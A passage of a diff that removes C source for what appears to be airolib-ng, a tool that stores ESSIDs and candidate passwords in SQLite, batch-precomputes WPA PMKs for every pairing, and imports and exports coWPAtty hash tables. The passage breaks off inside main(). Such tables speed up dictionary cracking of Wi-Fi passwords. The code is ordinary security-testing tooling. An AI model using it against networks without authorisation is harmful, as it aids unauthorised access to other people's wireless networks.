-	while ((rc = sql_step(stmt, 0)) == SQLITE_ROW)
-	{
-		i = 0;
-		rcount++;
-		do
-		{
-			printf("%s", (char *) sqlite3_column_text(stmt, i++));
-			if (i < ccount) printf("\t");
-		} while (i < ccount);
-		printf("\n");
-	}
-
-	if (rowcount != NULL) *rowcount = rcount;
-
-	return rc;
-}
-
-// generic function to dump the output of a sql statement to stdout.
-// will return sqlite error codes but also handle (read: ignore) them itself
-static int sql_stdout(sqlite3 * db, const char * sql, int * rowcount)
-{
-	int rc;
-	sqlite3_stmt * stmt;
-
-	rc = sql_prepare(db, sql, &stmt, -1);
-	if (rc != SQLITE_OK)
-	{
-		sql_error(db);
-		return rc;
-	}
-
-	rc = stmt_stdout(stmt, rowcount);
-	sqlite3_finalize(stmt);
-
-	if (rc == SQLITE_DONE)
-	{
-		if (sqlite3_changes(db) > 0)
-			fprintf(
-				stdout, "Query done. %i rows affected.", sqlite3_changes(db));
-	}
-	else
-	{
-		sql_error(db);
-	}
-
-	printf("\n");
-	return rc;
-}
-
-// retrieve a single int value using a sql query.
-// returns 0 if something goes wrong. beware! create your own statement if you
-// need error handling.
-static int query_int(sqlite3 * db, const char * sql)
-{
-	sqlite3_stmt * stmt;
-	int rc;
-	int ret;
-
-	rc = sql_prepare(db, sql, &stmt, -1);
-	if (rc != SQLITE_OK || stmt == 0 || sqlite3_column_count(stmt) == 0)
-	{
-		sql_error(db);
-		ret = 0;
-	}
-	else
-	{
-		rc = sql_step(stmt, -1);
-		if (rc == SQLITE_ROW)
-		{
-			ret = sqlite3_column_int(stmt, 0);
-		}
-		else
-		{
-#ifdef SQL_DEBUG
-			printf(
-				"DEBUG: query_int() returns with sql_step() != SQLITE_ROW\n");
-#endif
-			ret = 0;
-		}
-	}
-
-	sqlite3_finalize(stmt);
-	return ret;
-}
-
-// throw some statistics about the db to stdout.
-// if precise!=0 the stats will be queried nail by nail which can be slow
-static void show_stats(sqlite3 * db, int precise)
-{
-
-	sql_exec(db, "BEGIN;");
-
-	int essids = query_int(db, "SELECT COUNT(*) FROM essid;");
-	int passwds = query_int(db, "SELECT COUNT(*) FROM passwd;");
-	int done;
-	if (precise != 0)
-	{
-		printf("Determining precise statistics may be slow...\n");
-		done = query_int(db,
-						 "SELECT COUNT(*) FROM essid,passwd INNER JOIN pmk "
-						 "ON pmk.essid_id = essid.essid_id AND "
-						 "pmk.passwd_id = passwd.passwd_id");
-	}
-	else
-	{
-		done = query_int(db, "SELECT COUNT(*) FROM pmk;");
-	}
-	fprintf(stdout,
-			"There are %i ESSIDs and %i passwords in the database. %i out of "
-			"%i possible combinations have been computed (%g%%).\n\n",
-			essids,
-			passwds,
-			done,
-			essids * passwds,
-			essids * passwds > 0 ? ((double) done * 100) / (essids * passwds)
-								 : 0);
-
-	if (precise != 0)
-	{
-		sql_stdout(db,
-				   "select essid.essid AS ESSID, essid.prio AS Priority, "
-				   "round(count(pmk.essid_id) * 100.0 / count(*),2) AS Done "
-				   "from essid,passwd left join pmk on pmk.essid_id = "
-				   "essid.essid_id and pmk.passwd_id = passwd.passwd_id group "
-				   "by essid.essid_id;",
-				   0);
-	}
-	else
-	{
-		sql_stdout(db,
-				   "SELECT essid.essid AS ESSID, essid.prio AS Priority, "
-				   "ROUND(COUNT(pmk.essid_id) * 100.0 / (SELECT COUNT(*) FROM "
-				   "passwd),2) AS Done FROM essid LEFT JOIN pmk ON "
-				   "pmk.essid_id = essid.essid_id GROUP BY essid.essid_id;",
-				   0);
-	}
-
-	sql_exec(db, "COMMIT;");
-}
-
-/*
-batch-process all combinations of ESSIDs and PASSWDs. this function may be
-called
-only once per db at the same time, yet multiple processes can batch-process a
-single db.
-don't modify this function's layout or it's queries without carefully
-considering speed, efficiency and concurrency.
-*/
-static void batch_process(sqlite3 * db)
-{
-	int rc;
-	int cur_essid = 0;
-	struct timeval starttime;
-	struct timeval curtime;
-	gettimeofday(&starttime, NULL);
-	int rowcount = 0;
-	char * sql;
-
-	if (sql_exec(db,
-				 "CREATE TEMPORARY TABLE temp.buffer (wb_id integer, "
-				 "essid_id integer, passwd_id integer, essid text, passwd "
-				 "text, pmk blob);")
-		!= SQLITE_OK)
-	{
-		fprintf(stderr, "Failed to create buffer for batch processing.\n");
-		return;
-	}
-
-	printf("Batch processing ...\n");
-
-	// may fail - that's ok
-	cur_essid = query_int(db, "SELECT essid_id FROM workbench LIMIT 1;");
-
-	while (!exit_airolib)
-	{
-		// loop over everything
-		do
-		{
-			// loop over ESSID
-			do
-			{
-				// loop over workbench
-				sql_exec(db, "DELETE FROM temp.buffer;");
-				// select some work from the workbench into our own buffer
-				// move lockid ahead so other clients won't get those rows any
-				// time soon
-				sql_exec(db, "BEGIN EXCLUSIVE;");
-				sql_exec(db,
-						 "INSERT INTO temp.buffer "
-						 "(wb_id,essid_id,passwd_id,essid,passwd) SELECT "
-						 "wb_id, "
-						 "essid.essid_id,passwd.passwd_id,essid,passwd "
-						 "FROM workbench CROSS JOIN essid ON "
-						 "essid.essid_id = workbench.essid_id CROSS JOIN "
-						 "passwd ON passwd.passwd_id = workbench.passwd_id "
-						 "ORDER BY lockid LIMIT 5000;");
-				sql_exec(db,
-						 "UPDATE workbench SET lockid=lockid+1 WHERE wb_id "
-						 "IN (SELECT wb_id FROM buffer);");
-				sql_exec(db, "COMMIT;");
-
-				rc = query_int(db, "SELECT COUNT(*) FROM buffer;");
-				if (rc > 0)
-				{
-					// now calculate all the PMKs with a single statement.
-					// remember the update won't lock the db
-					sql_exec(db,
-							 "UPDATE temp.buffer SET pmk = PMK(essid,passwd);");
-
-					// commit work and delete package from workbench
-					sql_exec(db, "BEGIN EXCLUSIVE;");
-					sql_exec(db,
-							 "INSERT OR IGNORE INTO pmk "
-							 "(essid_id,passwd_id,pmk) SELECT "
-							 "essid_id,passwd_id,pmk FROM temp.buffer");
-					sql_exec(db,
-							 "DELETE FROM workbench WHERE wb_id IN (SELECT "
-							 "wb_id FROM buffer);");
-					sql_exec(db, "COMMIT;");
-
-					rowcount += rc;
-					gettimeofday(&curtime, NULL);
-					int timediff = curtime.tv_sec - starttime.tv_sec;
-					fprintf(stdout,
-							"\rComputed %i PMK in %i seconds (%i PMK/s, %i in "
-							"buffer)\n",
-							rowcount,
-							timediff,
-							timediff > 0 ? rowcount / timediff : rowcount,
-							query_int(db, "SELECT COUNT(*) FROM workbench;"));
-					fflush(stdout);
-				}
-			} while (rc > 0 && !exit_airolib);
-			sql = sqlite3_mprintf(
-				"INSERT OR IGNORE INTO workbench (essid_id,passwd_id) SELECT "
-				"essid.essid_id,passwd.passwd_id FROM passwd CROSS JOIN essid "
-				"LEFT JOIN pmk ON pmk.essid_id = essid.essid_id AND "
-				"pmk.passwd_id = passwd.passwd_id WHERE essid.essid_id = %i "
-				"AND pmk.essid_id IS NULL LIMIT 250000;",
-				cur_essid);
-			sql_exec(db, sql);
-			sqlite3_free(sql);
-		} while (!exit_airolib
-				 && query_int(db,
-							  "SELECT COUNT(*) FROM workbench INNER JOIN "
-							  "essid ON essid.essid_id = "
-							  "workbench.essid_id INNER JOIN passwd ON "
-							  "passwd.passwd_id = workbench.passwd_id;")
-						> 0);
-
-		cur_essid = query_int(
-			db,
-			"SELECT essid.essid_id FROM essid LEFT JOIN pmk USING "
-			"(essid_id) WHERE VERIFY_ESSID(essid.essid) == 0 GROUP BY "
-			"essid.essid_id HAVING COUNT(pmk.essid_id) < (SELECT COUNT(*) "
-			"FROM passwd) ORDER BY essid.prio,COUNT(pmk.essid_id),RANDOM() "
-			"LIMIT 1;");
-		if (cur_essid == 0)
-		{
-			printf("All ESSID processed.\n\n");
-			sqlite3_close(db);
-			exit(0);
-			/*
-			printf("No free ESSID found. Will try determining new ESSID in 5
-			minutes...\n");
-			sleep(60*5);
-			// slower, yet certain. should never be any better than the above,
-			unless users fumble with the db.
-			cur_essid = query_int(db,"SELECT essid.essid_id FROM essid,passwd
-			LEFT JOIN pmk ON pmk.essid_id = essid.essid_id AND pmk.passwd_id =
-			passwd.passwd_id WHERE pmk.essid_id IS NULL LIMIT 1;");
-			if (cur_essid == 0) {
-				printf("No free ESSID found. Sleeping 25 additional
-			minutes...\n");
-				sleep(60*25);
-			}
-			*/
-		}
-	}
-
-	// never reached
-	sql_exec(db, "DROP TABLE temp.buffer;");
-}
-
-// Verify an ESSID. Returns 1 if ESSID is invalid.
-// TODO More things to verify? Invalid chars?
-static int verify_essid(char * essid)
-{
-	return essid == NULL || strlen(essid) < 1 || strlen(essid) > 32;
-}
-
-// sql function which checks a given ESSID
-static void
-sql_verify_essid(sqlite3_context * context, int argc, sqlite3_value ** values)
-{
-	char * essid = (char *) sqlite3_value_text(values[0]);
-	if (argc != 1 || essid == 0)
-	{
-		fprintf(stderr,
-				"SQL function VERIFY_ESSID called with invalid arguments");
-		return;
-	}
-	sqlite3_result_int(context, verify_essid(essid));
-}
-
-static int verify_passwd(char * passwd)
-{
-	return passwd == NULL || strlen(passwd) < 8 || strlen(passwd) > 63;
-}
-
-static void
-sql_verify_passwd(sqlite3_context * context, int argc, sqlite3_value ** values)
-{
-	char * passwd = (char *) sqlite3_value_text(values[0]);
-	if (argc != 1 || passwd == 0)
-	{
-		fprintf(stderr,
-				"SQL function VERIFY_PASSWD called with invalid arguments");
-		return;
-	}
-	sqlite3_result_int(context, verify_passwd(passwd));
-}
-
-// clean the db, analyze, maybe vacuum and check
-static void vacuum(sqlite3 * db, int deep)
-{
-	printf("Deleting invalid ESSIDs and passwords...\n");
-	sql_exec(db, "DELETE FROM essid WHERE VERIFY_ESSID(essid) != 0;");
-	sql_exec(db, "DELETE FROM passwd WHERE VERIFY_PASSWD(passwd) != 0");
-	printf("Deleting unreferenced PMKs...\n");
-	sql_exec(
-		db,
-		"DELETE FROM pmk WHERE essid_id NOT IN (SELECT essid_id FROM essid)");
-	sql_exec(db,
-			 "DELETE FROM pmk WHERE passwd_id NOT IN (SELECT passwd_id "
-			 "FROM passwd)");
-
-	printf("Analysing index structure...\n");
-	sql_exec(db, "ANALYZE;");
-	if (deep != 0)
-	{
-		printf("Vacuum-cleaning the database. This could take a while...\n");
-		sql_exec(db, "VACUUM;");
-		printf("Checking database integrity...\n");
-		sql_stdout(db, "PRAGMA integrity_check;", 0);
-	}
-	printf("Done.\n");
-}
-
-// verify PMKs. If complete==1 we check all PMKs
-// returns 0 if ok, !=0 otherwise
-static void verify(sqlite3 * db, int complete)
-{
-	if (complete != 1)
-	{
-		printf("Checking ~10 000 randomly chosen PMKs...\n");
-		// this is faster than 'order by random()'. we need the subquery to
-		// trick the optimizer...
-		sql_stdout(db,
-				   "select s.essid AS ESSID, COUNT(*) AS CHECKED, CASE WHEN "
-				   "MIN(s.pmk == PMK(essid,passwd)) == 0 THEN 'FAILED' ELSE "
-				   "'OK' END AS STATUS FROM (select distinct essid,passwd,pmk "
-				   "FROM pmk INNER JOIN passwd ON passwd.passwd_id = "
-				   "pmk.passwd_id INNER JOIN essid ON essid.essid_id = "
-				   "pmk.essid_id WHERE abs(random() % (select count(*) from "
-				   "pmk)) < 10000) AS s GROUP BY s.essid;",
-				   0);
-	}
-	else
-	{
-		printf("Checking all PMKs. This could take a while...\n");
-		sql_stdout(db,
-				   "select essid AS ESSID,passwd AS PASSWORD,HEX(pmk) AS "
-				   "PMK_DB, HEX(PMK(essid,passwd)) AS CORRECT FROM pmk INNER "
-				   "JOIN passwd ON passwd.passwd_id = pmk.passwd_id INNER JOIN "
-				   "essid ON essid.essid_id = pmk.essid_id WHERE pmk.pmk != "
-				   "PMK(essid,passwd);",
-				   0);
-	}
-}
-
-// callback for export_cowpatty. takes the passwd and pmk from the query and
-// writes another fileentry.
-static int
-sql_exportcow(void * arg, int ccount, char ** values, char ** columnnames)
-{
-	FILE * f = (FILE *) arg;
-	struct hashdb_rec rec;
-	if (ccount != 2 || values[0] == NULL || values[1] == NULL
-		|| fileno(f) == -1)
-	{
-		printf("Illegal call to sql_exportcow.\n");
-		return -1;
-	}
-	if (columnnames)
-	{
-	} // XXX
-
-	char * passwd = (char *) values[0];
-
-	memcpy(rec.pmk, values[1], sizeof(rec.pmk));
-	rec.rec_size = strlen(passwd) + sizeof(rec.pmk) + sizeof(rec.rec_size);
-
-	int rc = fwrite(&rec.rec_size, sizeof(rec.rec_size), 1, f);
-	rc += fwrite(passwd, strlen(passwd), 1, f);
-	rc += fwrite(rec.pmk, sizeof(rec.pmk), 1, f);
-	if (rc != 3)
-	{
-		printf("Error while writing to export file. Query aborted...\n");
-		return 1;
-	}
-	fflush(f);
-	return 0;
-}
-
-// export to a cowpatty file
-static void export_cowpatty(sqlite3 * db, char * essid, char * filename)
-{
-	struct hashdb_head filehead;
-	memset(&filehead, 0, sizeof(filehead));
-	FILE * f = NULL;
-	size_t essid_len;
-	int fd;
-
-	if (essid == NULL)
-	{
-		printf("Invalid SSID (NULL).\n");
-		return;
-	}
-
-	if (filename == NULL || strlen(filename) == 0)
-	{
-		printf("Invalid filename (NULL)");
-		return;
-	}
-
-	essid_len = strlen(essid);
-	if (essid_len == 0 || essid_len > sizeof(filehead.ssid))
-	{
-		printf("Invalid SSID (NULL or > %zu chars).\n", sizeof(filehead.ssid));
-		return;
-	}
-
-	// ensure that the essid is found in the db and has at least one entry in
-	// the pmk table.
-	char * sql = sqlite3_mprintf(
-		"SELECT COUNT(*) FROM (SELECT passwd, pmk FROM essid,passwd INNER JOIN "
-		"pmk ON pmk.passwd_id = passwd.passwd_id AND pmk.essid_id = "
-		"essid.essid_id WHERE essid.essid = '%q' LIMIT 1);",
-		essid);
-	int rc = query_int(db, sql);
-	sqlite3_free(sql);
-	if (rc == 0)
-	{
-		printf("There is no such ESSID in the database or there are no PMKs "
-			   "for it.\n");
-		return;
-	}
-
-	if ((fd = open(filename, O_WRONLY | O_CREAT | O_EXCL, 0666)) >= 0)
-	{
-		f = fdopen(fd, "w");
-	}
-	else
-	{
-		printf("The file already exists and I won't overwrite it.\n");
-		return;
-	}
-
-	if (f == NULL)
-	{
-		printf("Failed to open export file for writing.\n");
-		return;
-	}
-
-	memcpy(filehead.ssid, essid, essid_len);
-	filehead.ssidlen = essid_len;
-	filehead.magic = GENPMKMAGIC;
-	if (fwrite(&filehead, sizeof(filehead), 1, f) != 1)
-	{
-		printf("Failed to write header to coWPAtty hash DB file.\n");
-		fclose(f);
-		return;
-	}
-
-	// as we have an open filehandle, we now query the db to return passwds and
-	// associated PMKs for that essid. we pass the filehandle to a callback
-	// function which will write the rows to the file.
-	sql = sqlite3_mprintf(
-		"SELECT passwd, pmk FROM essid,passwd INNER JOIN pmk "
-		"ON pmk.passwd_id = passwd.passwd_id AND pmk.essid_id "
-		"= essid.essid_id WHERE essid.essid = '%q'",
-		essid);
-	printf("Exporting...\n");
-	rc = sql_exec_cb(db, sql, &sql_exportcow, f);
-	sqlite3_free(sql);
-	if (rc != SQLITE_OK)
-	{
-		printf("There was an error while exporting to coWPAtty hash DB.\n");
-	}
-
-	fclose(f);
-	printf("Done.\n");
-}
-
-// import a cowpatty file
-static int import_cowpatty(sqlite3 * db, char * filename)
-{
-	struct hashdb_rec * rec = NULL;
-	struct cowpatty_file * hashdb;
-	sqlite3_stmt * stmt;
-	char * sql;
-	int essid_id;
-
-	hashdb = open_cowpatty_hashdb(filename, "r");
-	if (hashdb == NULL)
-	{
-		printf("Failed opening file\n");
-		return 0;
-	}
-	else if (hashdb->error[0])
-	{
-		printf("Failed opening file: %s\n", hashdb->error);
-		close_free_cowpatty_hashdb(hashdb);
-		return 0;
-	}
-
-	// We need protection so concurrent transactions can't smash the
-	// ID-references
-	sql_exec(db, "BEGIN;");
-
-	sql = sqlite3_mprintf("INSERT OR IGNORE INTO essid (essid) VALUES ('%q');",
-						  hashdb->ssid);
-	sql_exec(db, sql);
-	sqlite3_free(sql);
-
-	// since there is only one essid per file, we can determine it's ID now
-	sql = sqlite3_mprintf("SELECT essid_id FROM essid WHERE essid = '%q'",
-						  hashdb->ssid);
-	essid_id = query_int(db, sql);
-	sqlite3_free(sql);
-	if (essid_id == 0)
-	{
-		close_free_cowpatty_hashdb(hashdb);
-		sql_exec(db, "ROLLBACK;");
-		printf("ESSID couldn't be inserted. I've given up.\n");
-		return 0;
-	}
-
-	sql = sqlite3_mprintf(
-		"CREATE TEMPORARY TABLE import (passwd text, pmk blob);", essid_id);
-	sql_exec(db, sql);
-	sqlite3_free(sql);
-	sql_prepare(
-		db, "INSERT INTO import (passwd,pmk) VALUES (@pw,@pmk)", &stmt, -1);
-
-	printf("Reading...\n");
-
-	while (!exit_airolib && (rec = read_next_cowpatty_record(hashdb)))
-	{
-		if (verify_passwd(rec->word) == 0)
-		{
-			sqlite3_bind_text(
-				stmt, 1, rec->word, strlen(rec->word), SQLITE_TRANSIENT);
-			sqlite3_bind_blob(
-				stmt, 2, &rec->pmk, sizeof(rec->pmk), SQLITE_TRANSIENT);
-			if (sql_step(stmt, -1) == SQLITE_DONE)
-			{
-				sqlite3_reset(stmt);
-			}
-			else
-			{
-				printf("Error while inserting record into database.\n");
-				sqlite3_finalize(stmt);
-				sql_exec(db, "ROLLBACK;");
-				close_free_cowpatty_hashdb(hashdb);
-				free(rec->word);
-				free(rec);
-				return 1;
-			}
-		}
-		else
-		{
-			fprintf(stdout,
-					"Invalid password %s will not be imported.\n",
-					rec->word);
-		}
-		if (rec)
-		{
-			free(rec->word);
-			free(rec);
-		}
-	}
-
-	// Finalize
-	sqlite3_finalize(stmt);
-
-	// Rollback if any error happened.
-	if (hashdb->error[0])
-	{
-		printf("Error: %s, rolling back\n", hashdb->error);
-		sql_exec(db, "ROLLBACK;");
-		close_free_cowpatty_hashdb(hashdb);
-		return 1;
-	}
-	close_free_cowpatty_hashdb(hashdb);
-
-	printf("Updating references...\n");
-	sql_exec(
-		db, "INSERT OR IGNORE INTO passwd (passwd) SELECT passwd FROM import;");
-
-	// TODO Give the user a choice to either INSERT OR UPDATE or INSERT OR
-	// IGNORE
-	printf("Writing...\n");
-	sql = sqlite3_mprintf("INSERT OR IGNORE INTO pmk (essid_id,passwd_id,pmk) "
-						  "SELECT %i,passwd.passwd_id,import.pmk FROM import "
-						  "INNER JOIN passwd ON passwd.passwd = import.passwd;",
-						  essid_id);
-	sql_exec(db, sql);
-	sqlite3_free(sql);
-
-	sql_exec(db, "COMMIT;");
-
-	return 1;
-}
-
-static int import_ascii(sqlite3 * db, const char * mode, const char * filename)
-{
-	FILE * f = NULL;
-	sqlite3_stmt * stmt;
-	char buffer[63 + 1];
-	int imported = 0;
-	int ignored = 0;
-	int imode = 0;
-
-	if (strcasecmp(mode, IMPORT_ESSID) == 0)
-	{
-		imode = 0;
-	}
-	else if (strcasecmp(mode, IMPORT_PASSWD) == 0)
-	{
-		imode = 1;
-	}
-	else
-	{
-		printf("Specify either 'essid' or 'passwd' as import mode.\n");
-		return 0;
-	}
-
-	if (strcmp(filename, "-") == 0)
-	{
-		f = stdin;
-	}
-	else
-	{
-		f = fopen(filename, "r");
-	}
-	if (f == NULL)
-	{
-		printf("Could not open file/stream for reading.\n");
-		return 0;
-	}
-
-	char * sql = sqlite3_mprintf(
-		"INSERT OR IGNORE INTO %q (%q) VALUES (@v);", mode, mode);
-	sql_prepare(db, sql, &stmt, -1);
-	sqlite3_free(sql);
-
-	sql_exec(db, "BEGIN;");
-	printf("Reading file...\n");
-	while (!exit_airolib && fgets(buffer, sizeof(buffer), f) != 0)
-	{
-		int i = strlen(buffer);
-		if (buffer[i - 1] == '\n') buffer[--i] = '\0';
-		if (buffer[i - 1] == '\r') buffer[--i] = '\0';
-		imported++;
-		if ((imode == 0 && verify_essid(buffer) == 0)
-			|| (imode == 1 && verify_passwd(buffer) == 0))
-		{
-			sqlite3_bind_text(
-				stmt, 1, buffer, strlen(buffer), SQLITE_TRANSIENT);
-			if (sql_step(stmt, -1) == SQLITE_DONE)
-			{
-				sqlite3_reset(stmt);
-			}
-			else
-			{
-				printf("Error while inserting record into database.\n");
-				sql_exec(db, "ROLLBACK;");
-				sqlite3_finalize(stmt);
-				fclose(f);
-				return 1;
-			}
-		}
-		else
-		{
-			ignored++;
-		}
-		if (imported % 1000 == 0)
-		{
-			fprintf(stdout,
-					"%i lines read, %i invalid lines ignored.\r",
-					imported,
-					ignored);
-			fflush(stdout);
-		}
-	}
-	sqlite3_finalize(stmt);
-
-	if (!feof(f) && !exit_airolib)
-	{
-		printf("Error while reading file.\n");
-		sql_exec(db, "ROLLBACK;");
-		fclose(f);
-		return 1;
-	}
-	fclose(f);
-
-	printf("Writing...\n");
-	sql_exec(db, "COMMIT;");
-
-	printf("Done.\n");
-	return 1;
-}
-
-// sql function. takes ESSID and PASSWD, gives PMK
-static void
-sql_calcpmk(sqlite3_context * context, int argc, sqlite3_value ** values)
-{
-	unsigned char pmk[40];
-	char * passwd = (char *) sqlite3_value_blob(values[1]);
-	char * essid = (char *) sqlite3_value_blob(values[0]);
-	if (argc < 2 || passwd == 0 || essid == 0)
-	{
-		sqlite3_result_error(
-			context, "SQL function PMK() called with invalid arguments.\n", -1);
-		return;
-	}
-	calc_pmk(passwd, essid, pmk);
-	sqlite3_result_blob(context, pmk, 32, SQLITE_TRANSIENT);
-}
-
-#ifdef HAVE_REGEXP
-static void
-sqlite_regexp(sqlite3_context * context, int argc, sqlite3_value ** values)
-{
-	int ret;
-	regex_t regex;
-	char * reg = (char *) sqlite3_value_text(values[0]);
-	char * text = (char *) sqlite3_value_text(values[1]);
-
-	if (argc != 2 || reg == 0 || text == 0)
-	{
-		sqlite3_result_error(
-			context,
-			"SQL function regexp() called with invalid arguments.\n",
-			-1);
-		return;
-	}
-
-	ret = regcomp(&regex, reg, REG_EXTENDED | REG_NOSUB);
-	if (ret != 0)
-	{
-		sqlite3_result_error(context, "error compiling regular expression", -1);
-		return;
-	}
-
-	ret = regexec(&regex, text, 0, NULL, 0);
-	regfree(&regex);
-
-	sqlite3_result_int(context, (ret != REG_NOMATCH));
-}
-#endif
-
-static int initDataBase(const char * filename, sqlite3 ** db)
-{
-	// int rc = sqlite3_open_v2(filename, &db, SQLITE_OPEN_READWRITE |
-	// SQLITE_OPEN_CREATE, NULL);
-	int rc = sqlite3_open(filename, &(*db));
-
-	if (rc != SQLITE_OK)
-	{
-		sql_error(*db);
-		sqlite3_close(*db);
-
-		// May be useful later
-		return rc;
-	}
-
-	sql_exec(*db,
-			 "create table essid (essid_id integer primary key "
-			 "autoincrement, essid text, prio integer default 64);");
-	sql_exec(*db,
-			 "create table passwd (passwd_id integer primary key "
-			 "autoincrement, passwd text);");
-	sql_exec(*db,
-			 "create table pmk (pmk_id integer primary key autoincrement, "
-			 "passwd_id int, essid_id int, pmk blob);");
-	sql_exec(*db,
-			 "create table workbench (wb_id integer primary key "
-			 "autoincrement, essid_id integer, passwd_id integer, lockid "
-			 "integer default 0);");
-	sql_exec(*db, "create index lock_lockid on workbench (lockid);");
-	sql_exec(*db, "create index pmk_pw on pmk (passwd_id);");
-	sql_exec(*db, "create unique index essid_u on essid (essid);");
-	sql_exec(*db, "create unique index passwd_u on passwd (passwd);");
-	sql_exec(*db, "create unique index ep_u on pmk (essid_id,passwd_id);");
-	sql_exec(*db,
-			 "create unique index wb_u on workbench (essid_id,passwd_id);");
-	sql_exec(*db,
-			 "CREATE TRIGGER delete_essid DELETE ON essid BEGIN DELETE "
-			 "FROM pmk WHERE pmk.essid_id = OLD.essid_id; DELETE FROM "
-			 "workbench WHERE workbench.essid_id = OLD.essid_id; END;");
-	sql_exec(*db,
-			 "CREATE TRIGGER delete_passwd DELETE ON passwd BEGIN DELETE "
-			 "FROM pmk WHERE pmk.passwd_id = OLD.passwd_id; DELETE FROM "
-			 "workbench WHERE workbench.passwd_id = OLD.passwd_id; END;");
-
-#ifdef SQL_DEBUG
-	sql_exec(*db, "begin;");
-	sql_exec(*db, "insert into essid (essid,prio) values ('e',random())");
-	sql_exec(*db, "insert into passwd (passwd) values ('p')");
-	sql_exec(*db,
-			 "insert into essid (essid,prio) select essid||'a',random() "
-			 "from essid;");
-	sql_exec(*db,
-			 "insert into essid (essid,prio) select essid||'b',random() "
-			 "from essid;");
-	sql_exec(*db,
-			 "insert into essid (essid,prio) select essid||'c',random() "
-			 "from essid;");
-	sql_exec(*db,
-			 "insert into essid (essid,prio) select essid||'d',random() "
-			 "from essid;");
-	sql_exec(*db,
-			 "insert into passwd (passwd) select passwd||'a' from passwd;");
-	sql_exec(*db,
-			 "insert into passwd (passwd) select passwd||'b' from passwd;");
-	sql_exec(*db,
-			 "insert into passwd (passwd) select passwd||'c' from passwd;");
-	sql_exec(*db,
-			 "insert into passwd (passwd) select passwd||'d' from passwd;");
-	sql_exec(*db,
-			 "insert into passwd (passwd) select passwd||'e' from passwd;");
-	sql_exec(*db,
-			 "insert into pmk (essid_id,passwd_id) select "
-			 "essid_id,passwd_id from essid,passwd limit 1000000;");
-	sql_exec(*db, "commit;");
-#endif
-
-	sqlite3_close(*db);
-	printf("Database <%s> successfully created\n", filename);
-	return 0;
-}
-
-static int
-check_for_db(sqlite3 ** db, const char * filename, int can_create, int readonly)
-{
-	struct stat dbfile;
-	int rc;
-	int accessflags = R_OK | W_OK;
-	if (readonly) accessflags = R_OK;
-
-	// Check if DB exist. If it does not, initialize it
-	if (access(filename, accessflags))
-	{
-		printf("Database <%s> does not already exist, ", filename);
-		if (can_create)
-		{
-			printf("creating it...\n");
-
-			rc = initDataBase(filename, db);
-
-			if (rc)
-			{
-				printf("Error initializing database (return code: %d), "
-					   "exiting...\n",
-					   rc);
-				return 1;
-			}
-		}
-		else
-		{
-			printf("exiting ...\n");
-			return 1;
-		}
-	}
-	else
-	{
-		if (stat(filename, &dbfile))
-		{
-			perror("stat()");
-			return 1;
-		}
-		if ((S_ISREG(dbfile.st_mode) && !S_ISDIR(dbfile.st_mode)) == 0)
-		{
-			printf("\"%s\" does not appear to be a file.\n", filename);
-			return 1;
-		}
-	}
-
-	rc = sqlite3_open(filename, &(*db));
-	if (rc)
-	{
-		sql_error(*db);
-		sqlite3_close(*db);
-		return 1;
-	}
-
-	// TODO: Sanity check: Table definitions, index
-
-	// register new functions to be used in SQL statements
-	if (sqlite3_create_function(
-			*db, "PMK", 2, SQLITE_ANY, 0, &sql_calcpmk, 0, 0)
-		!= SQLITE_OK)
-	{
-		printf("Failed creating PMK function.\n");
-		sql_error(*db);
-		sqlite3_close(*db);
-		return 1;
-	}
-	if (sqlite3_create_function(
-			*db, "VERIFY_ESSID", 1, SQLITE_ANY, 0, &sql_verify_essid, 0, 0)
-		!= SQLITE_OK)
-	{
-		printf("Failed creating VERIFY_ESSID function.\n");
-		sql_error(*db);
-		sqlite3_close(*db);
-		return 1;
-	}
-	if (sqlite3_create_function(
-			*db, "VERIFY_PASSWD", 1, SQLITE_ANY, 0, &sql_verify_passwd, 0, 0)
-		!= SQLITE_OK)
-	{
-		printf("Failed creating VERIFY_PASSWD function.\n");
-		sql_error(*db);
-		sqlite3_close(*db);
-		return 1;
-	}
-#ifdef HAVE_REGEXP
-	if (sqlite3_create_function(
-			*db, "regexp", 2, SQLITE_ANY, 0, &sqlite_regexp, 0, 0)
-		!= SQLITE_OK)
-	{
-		printf("Failed creating regexp() handler.\n");
-		sql_error(*db);
-		sqlite3_close(*db);
-		return 1;
-	}
-#endif
-
-	return 0;
-}
-
-int main(int argc, char ** argv)
-{
-	sqlite3 * db;
-	int option_index, option;
-	exit_airolib = 0;
-
-	if (argc < 3)
-	{
-		print_help(NULL);
-		return 1;
-	}
-
-	db = NULL;
-
-	option_index = 0;
-
-	static struct option long_options[]
-		= {{"batch", 0, 0, 'b'},
-		   {"clean", 2, 0, 'c'},
-		   {"export", 2, 0, 'e'},
-		   {"h", 0, 0, 'h'},
-		   {"help", 0, 0, 'h'},
-		   {"import", 2, 0, 'i'},
-		   {"sql", 1, 0, 's'},
-		   {"stats", 2, 0, 't'},
-		   {"statistics", 2, 0, 't'},
-		   {"verify", 2, 0, 'v'},
-		   {"vacuum", 2, 0, 'c'},
-		   // TODO: implement options like '-e essid' to limit
-		   //       operations to a certain essid where possible
-		   {"essid", 1, 0, 'd'},
-		   {0, 0, 0, 0}};
-
-#ifdef USE_GCRYPT
-	// Disable secure memory.
-	gcry_control(GCRYCTL_DISABLE_SECMEM, 0);
-	// Tell Libgcrypt that initialization has completed.
-	gcry_control(GCRYCTL_INITIALIZATION_FINISHED, 0);
-#endif
-
-	signal(SIGINT, sighandler);
-	signal(SIGQUIT, sighandler);
-	signal(SIGTERM, sighandler);
-
-	option = getopt_long(
-		argc, argv, "bc:d:e:hi:s:t:v:", long_options, &option_index);
-
-	if (option > 0)
-	{
-		switch (option)
-		{
-			case 'b':
-				// Batch
-				if (check_for_db(&db, argv[1], 0, 1))
-				{
-					return 1;
-				}
-				batch_process(db);
-
-				break;
-
-			case 'c':
-				// Clean
-				if (check_for_db(&db, argv[1], 0, 0))
-				{
-					return 1;
-				}
-				vacuum(db,
-					   (argc > 3 && strcasecmp(argv[3], "all") == 0) ? 1 : 0);
-
-				break;
-
-			case 'e':
-
-				if (argc < 4)
-				{
-					print_help("You must specify an export format.");
-				}
-				else if (strcmp(argv[3], EXPORT_COWPATTY) == 0)
-				{
-					if (argc < 6)
-					{
-						print_help("You must specify essid and output file.");
-					}
-					else
-					{
-						// Export
-						if (check_for_db(&db, argv[1], 0, 0))
-						{
-							return 1;
-						}
-						export_cowpatty(db, argv[4], argv[5]);
-					}
-				}
-				else
-				{
-					print_help("Invalid export format specified.");
-				}
-
-				break;
-
-			case ':':
-			case '?':
-			case 'h':
-				// Show help
-				print_help(NULL);
-
-				break;
-
-			case 'i':
-				// Import
-
-				if (argc < 5)
-				{
-					print_help("You must specify an import format and a file.");
-				}
